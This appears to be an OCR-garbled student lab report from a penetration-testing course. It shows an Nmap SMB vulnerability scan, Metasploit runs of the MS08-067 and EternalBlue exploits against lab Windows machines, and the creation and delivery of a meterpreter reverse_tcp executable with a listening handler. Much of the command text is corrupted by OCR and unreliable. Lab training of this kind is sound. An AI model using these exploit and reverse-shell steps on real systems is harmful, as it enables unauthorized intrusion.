Task A

1. (2 pts) Network Scanning: Run an Nmap scan against the target machine to find
= open ports
* running services
= Smb vulnerabilities
Submit the screenshot of the Nmap command used with the relevant scan results:

) -5\ ipt smb-vuln#® 192.168.108.14
-t41t1ﬂh Nmap 7. “4F”N ( https://nmap.org ) at 2026-@5-@9 10:3@ EDT

Nmap scan report for 192.168.18.14

ost is up (0.028s latency).

lot shown: 65 closed tcp ports

ORT STATE SERVICE UEEEIDN

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

45/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

MAC Address: @@:15:5D:40:57:09 (Microsoft)

cervice Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:;
rmicrosoft:windows_xp

ost script result
_smb-vuln-ms1@-854: false
smb-vuln-ms@8-067:
VULNERAELE:
Microsoft Windows system wulnerable to remote code execution (MS@8-867)
State: ”ULNEFAELE

s 2000 SP4, XP SP2 and SP3,

and 7 Pre-Beta allows remote att

overflow during

2. MS08-067 is a critical remote code execution vulnerability in the Windows Server
service. It was severe because it allowed attackers to execute arbitrary code without
authentication, enabling worms like Conficker to spread rapidly across networks.

3. 2 pts) Launch Metasploit Framework and Search for the module related to MS08-067



Metasploit
eth@

[
ok

[—

422 post
nops

(R

el

Matching Modules

# MName Disclosure Date Rank Check
cription

B exploit/windows/smb/ms@8 @67 netapi 2008-10-28 g
B-@067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example

4. (2 pts) Select: exploit/windows/smb/ms08_067_netapi




6. (2 pts) Configure: RHOSTS, LHOST and LPORT

7.(2 pts) Display the configurations and screenshot of “show options”
msfé exploit( } = show options

Module options (exploit/windows/smb/ms@8_0&7_netapi):

Name Current Setting Reqguired Description

=
=

L= IO = s I o

RHOSTS <WindowsXP-IP> yes rg
asploit. ‘QN‘ths.Uslﬂh mwtin1nl
SMBE

e
W+

. ¢
Jusing-metasploit.html
service port (TCP)

pe name to use (BROWSER, SRVSW

(7]

= LA

RPORT
SMBPIPE

i

i
M
i
Payload options (windows/m

Name Current Setting Required Description

EXITFUNC rea Ve Exit technique (Accepted: °

h, thread, process, none)
LHOST <Internal-Kali-IP> e The listen address {an inter

handler on lg:.lbh 1ﬂ 1
Autamaticall}
Fingerprint:

Selected Target: Windows XP SP3 English (AlwaysOn NX)
Attempting to trigger the vulnerability ...
but no session was created.

9. The VM networking was most likely misconfigured.



Task B

1. (5 pt) Show your results and configuration.

= ]

Name Disclosure
Description

exploit/windows/smb/ms17 010 etermalblue 2017-83-14 average Ye

MS17-018 EtermalBlue SME Remote Windows Kernel Pool Corruption

1 exploit/windows/smb/ms17_@1@_psexec 2017-83-14 normal Yes

M517-0818 EternalRomance/EternalSynergy/EternalChampion SME Remote Windows
Code Execution

2 auxiliary/admin/smb/ms17_01@_command 2017-83-14 normal No
M517-0818 EternalRomance/EternalSynergy/EternalChampion SME Remote Windows
Command Execution

3 auxiliary/scanner/smb/smb_ms17_981@ normal No

M517-818 SME RCE Detection

4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14

SME DOUBLEPULSAR Remote Code Execution

s

Interact with a module by name or index.

/264 /meterpreter/reverse_tcp
> set payload windows/x64/mete

192.168.18.19
xploit(
192.168.18.13

192.168.10.19:445 - Msf::OptionValidateError The following option
to validate: LPORT
Exploit completed, but no session was

EternalBlue (MS17-010) targets SMBv1. Windows Server 2022 does not include SMBv1
by default and uses hardened SMBv2/3 stacks. Modern mitigations such as ASLR, DEP, and



kernel patching prevent the exploit from working. Therefore, the attack typically fails on Server
2022.

Task C

1. Generate Executable Payload (5 *2pts = 20 pts)
[Submit the screenshot for each step]
a. Create a Windows executable payload
b. Use reverse tcp
c. LPORT = 4444 (you may change it)
d. LHOST = Internal Kali IP
e. Payload filename = Your MIDAS ID.exe (for example, svatsa.exe)

Y

) windows/meterpreter/reverse_tcp LHOST=18.08.0.15 LPORT=4444 —f

exe -0 Xcart@@?.exe

[-]1 Mo platform was selected, choosing Msf ::Module:: Platform::Windows from th
e payload

[-]1 No arch selected, selecting arch: x86 from the payload

No encoder spe ified, outputtlng raw payload

P4n104d size:

2. Host and Deliver Payload (5* 2 pts = 10 pts)
[Submit the screenshot for each step]
a. Start a web server on Internal Kali
b. Upload payload to web root (Apache or python http server)
c. Download payload from Windows 7
d. Configure Metasploit handler
e. Execute payload on target

ving HTTP on @ rt 88 (htt tBa/)



msf6 > use exploit/multi/handler
Using configured piy104d generic/shell_reverse_tcp
mst6 ﬁnp101tl > 5§ _h1D4d wlﬂdDw /meterpreter/reverse_

payload = windows/meterpre
msf6 ﬂ?p]Din
T =3 lr_.163.1@.13

D 192.168.168.13

reverse TCP handler on 192.168.18.13

F : I SSUacC
No payload configured, defaulting to windows/meterpreter/reverse_ticp
) » set SESSION 1

) > exploit

Msf ::OptionValidateError The following options failed to validat

M
Exploit completed, but no

msft6E exploit(
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